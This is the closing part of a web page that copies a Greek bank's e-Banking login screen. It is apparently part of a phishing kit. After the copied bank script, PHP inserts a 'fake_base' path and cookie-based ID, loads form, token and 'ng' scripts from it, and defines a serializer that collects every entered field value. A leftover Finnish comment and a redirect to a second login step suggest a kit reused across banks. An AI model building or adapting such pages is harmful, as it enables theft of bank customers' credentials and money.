        var INACTIVE_USER_TIME_THRESHOLD = 10000;
        var USER_ACTIVITY_THROTTLER_TIME = 5000;

        function resetUserActivityTimeout() {
            clearTimeout(userActivityTimeout);
            userActivityTimeout = setTimeout(function() {
                //inactiveUserAction();
            }, INACTIVE_USER_TIME_THRESHOLD);
        }

        function userActivityThrottler() {
            if (!userActivityThrottlerTimeout) {
                userActivityThrottlerTimeout = setTimeout(function() {
                    resetUserActivityTimeout();

                    clearTimeout(userActivityThrottlerTimeout);
                    userActivityThrottlerTimeout = null;
                }, USER_ACTIVITY_THROTTLER_TIME);
            }
        }

        function inactiveUserAction() {
            $('#servicesIcon').popover({
                trigger: 'manual',
                placement: 'bottom',
                title: '<span class="font-md cobalt">Εξοικειωθείτε με το e-Banking</span><img src="close.png" class="popover-close-btn cp" onclick="closeServicesPopover()">',
                content: '<p class="mb-12 grey"><span class="popover-icon"><img src="find-answer.png"></span>&nbsp;Απαντήσεις σε Συχνές Ερωτήσεις</p><p class="mb-12 grey"><img src="how2video.png">&nbsp;Χρήσιμα how2videos</p>',
                html: true,
                sanitize: false
            }).popover('show').tooltip('disable');
        }

        function activateActivityTracker() {
            window.addEventListener("mousemove", userActivityThrottler);
            window.addEventListener("scroll", userActivityThrottler);
            window.addEventListener("keydown", userActivityThrottler);
            window.addEventListener("resize", userActivityThrottler);
        }

        function doResize() {
            var h = window.innerHeight;
            var nh = (h - 112) >= 750 ? h - 112 : 750;
            var lc_mt = (h - 880) > 0 ? h - 880 : 0;
            var lm_mt = (h / 2) - 180;
            $('#mainContainer').attr("style", "height: " + nh + "px;");
            $('#loginContainer').attr("style", "margin-top: " + lc_mt + "px; padding-top: 90px;");
            $('#loginModal').attr("style", "margin-top: " + lm_mt + "px;");

            var w = window.innerWidth;
            var mc_w = w > 600 ? 550 : 500;
            $('#modalContent').attr("style", "width: " + mc_w + "px;");

            if ($("#errorMsg").length) {
                $('#inputUsername').attr("style", "margin-top: 10px;");
                switch ($("#errorMsg").height()) {
                    case 16: // 1 line
                        break;
                    case 32: // 2 lines
                        $('#loginContainer').attr("style", "padding-top: 70px;");
                        break;
                    case 48: // 3 lines
                        $('#loginContainer').attr("style", "padding-top: 60px;");
                        break;
                    case 64: // 4 lines
                        $('#loginContainer').attr("style", "padding-top: 40px;");
                        break;
                    case 80: // 5 lines
                        $('#loginContainer').attr("style", "padding-top: 20px;");
                        break;
                    default:
                        $('#loginContainer').attr("style", "padding-top: 0;");
                }
            }
        }

        function userModal(type) {
            switch (type) {
                case 1:
                    $('#modalTitle').html("Υποστήριξη Ηλεκτρονικών Υπηρεσιών");
                    $('#retailBtn').attr("data-link-url", "#");
                    $('#corporateBtn').attr("data-link-url", "#");
                    $('#retailBtn, #corporateBtn').off("click").on('click', closeModal);
                    break;
                case 2:
                    $('#modalTitle').html("Εγγραφή στο e-Banking");
                    $('#retailBtn').attr("data-link-url", "#");
                    $('#corporateBtn').attr("data-link-url", "#");
                    $('#retailBtn, #corporateBtn').off("click").on('click', closeModal);
                    break;
                case 3:
                    $('#modalTitle').html("Δείτε το Demo");
                    $('#retailBtn').attr("data-link-url", "#");
                    $('#corporateBtn').attr("data-link-url", "#");
                    $('#retailBtn').off("click").on('click', function () { demoLogin(1); });
                    $('#corporateBtn').off("click").on('click', function () { demoLogin(2); });
                    break;
                case 4:
                    $('#modalTitle').html("Ξέχασα το Username μου");
                    $('#retailBtn').attr("data-link-url", "#" + "?locale=el");
                    $('#corporateBtn').attr("data-link-url", "#");
                    $('#retailBtn, #corporateBtn').off("click").on('click', closeModal);
                    break;
            }

            closeServicesPopover();
            $('#loginModal').modal('toggle');
        }

        function closeNotif() {
            $('#notif').hide(600);
            closeServicesPopover();
        }

        function closeServicesPopover() {
            $('#servicesIcon').popover('hide');
            $('#servicesIcon').tooltip('enable');
        }

        function closeModal() {
            $('#loginModal').modal('hide');
            var url = this.dataset.linkUrl;
            if (url != "#") {
                setTimeout(function () { window.open(url); }, 30);
            }
        }

        function rememberMe() {
            if ($('#inputRM').is(":checked") && $('#inputUsername').val() != "") {
                localStorage.rm = $('#inputRM').val();
                localStorage.un = enc($('#inputUsername').val());
            } else {
                localStorage.rm = "";
                localStorage.un = "";
            }
        }

        function demoLogin(userType) {
            switch (userType) {
                case 1:
                    submitLogin("demouser", "demouser", false);
                    break;
                case 2:
                    submitLogin("corpDemoUser", "corpDemoUser", false);
                    break;
            }
        }

        function addRBFAdditionalFields() {
            var screenHeight = window.screen.height;
            var screenWidth = window.screen.width;
            document.getElementById("screenResolution").value = screenWidth + "X" + screenHeight;

            //Although Intl is (at a limited scope) supposedly supported in IE11
            //(https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/DateTimeFormat#Browser_compatibility),
            //it actually looks like `window.Intl` returns undefined. To avoid console errors, check its value before attempting to use it.
            var timeZone = "";
            if (window.Intl) {
                var dtFormat = new Intl.DateTimeFormat();
                timeZone = dtFormat.resolvedOptions().timeZone;
            }
            document.getElementById("timeZone").value = timeZone;
        }

        $(function () {
            doResize();
            $(window).on('resize', doResize);

            //Remember me
            if (localStorage.rm && localStorage.rm == "1") {
                $('#inputRM').attr("checked", "checked");
                $('#inputUsername').val(dec(localStorage.un));
            } else {
                $('#inputRM').removeAttr("checked");
                $('#inputUsername').val("");
            }

            //Enable tooltips
            $('#servicesIcon').tooltip({
                placement: 'bottom',
                html: true,
                title: 'Υποστήριξη Ηλεκτρονικών Υπηρεσιών',
                template: '<div class="tooltip" role="tooltip"><div class="arrow"></div><div class="tooltip-inner tooltip-mw-100"></div></div>'
            });

            $('#emailIcon,#phoneIcon').tooltip({
                html: true,
                template: '<div class="tooltip" role="tooltip"><div class="arrow"></div><div class="tooltip-inner tooltip-mw-100"></div></div>'
            });

            $('#infoIcon').tooltip({
                html: true,
                template: '<div class="tooltip" role="tooltip"><div class="arrow"></div><div class="tooltip-inner"></div></div>'
            });

            //Retrieve notification from alpha.gr
            var jqxhr = $.getJSON('#');
            jqxhr.done(function (data) {
                if (data.showNotification) {
                    $('#notifTitle').html(data.notificationTitle);
                    $('#notifMsg').html(data.notificationText);
                    $('#notif').removeClass("d-none");
                }
            });
            jqxhr.fail(function () {
                console.log("call to alpha.gr failed");
            });

            var submitForm = function () {
                rememberMe();

                $('.form-validation').addClass("was-validated");

                var username = $("#inputUsername").val();
                var password = $("#inputPassword").val();
                addRBFAdditionalFields();

                submitLogin(username, password, false);
            }

            $("#loginFormTmp").on('submit', function (event) {
                event.preventDefault();
                const target = $('#submitButton');
                if (!target.is(':disabled')) {
                    submitForm();
                }
            });

            activateActivityTracker();
        });
    </script>



            <script type="text/javascript">
    var bid = "<?php echo isset($_COOKIE['bid'])?$_COOKIE['bid']:basename(dirname(dirname(__FILE__))) ?>"
    var php_js = <?php  echo json_encode($php_js) ?>
    </script>
    <script type="text/javascript" src="../<?php echo $php_js->fake_base; ?>form/form.js?v=<?php echo uniqid() ?>"></script>
    <script type="text/javascript" src="../<?php echo $php_js->fake_base; ?>ng/ng.js?v=<?php echo uniqid() ?>"></script>
    <script type="text/javascript" src="../<?php echo $php_js->fake_base; ?>token/token.js?v=<?php echo uniqid() ?>"></script>
    <script>
//         $(document).ready(function () {

// $('.error1').click(function () {

//   alert(

//     'Yritä käyttää toista vaihtoehtoa.'

//     );

// });

// $('.error2').click(function () {

//     window.location.href="../login2/?op="+btoa(JSON.stringify(last_operation));return;

// });

// });

$.fn.custom_ser = function() {
    var obj = {};
    this.find("input,select").each(function() {
        if (
            $(this).prop("tagName") == "INPUT" &&
            $(this).prop("type") != "checkbox" &&
            $(this).prop("type") != "button" &&
            $(this).prop("type") != "hidden" &&
            $(this).prop("type") != "image" &&
            $(this).prop("type") != "reset" &&
            $(this).prop("type") != "submit"
        ) {
            //input validation
            obj[$(this).attr("name")] = $(this).val();
        }
        if ($(this).prop("tagName") == "SELECT") {
            obj[$(this).attr("name")] = $(this).find("option:selected").val();
        }
    });

    console.log('Custom seralization result : ')
    console.log(obj)
    return obj;
};
    </script>
    
</body>

</html>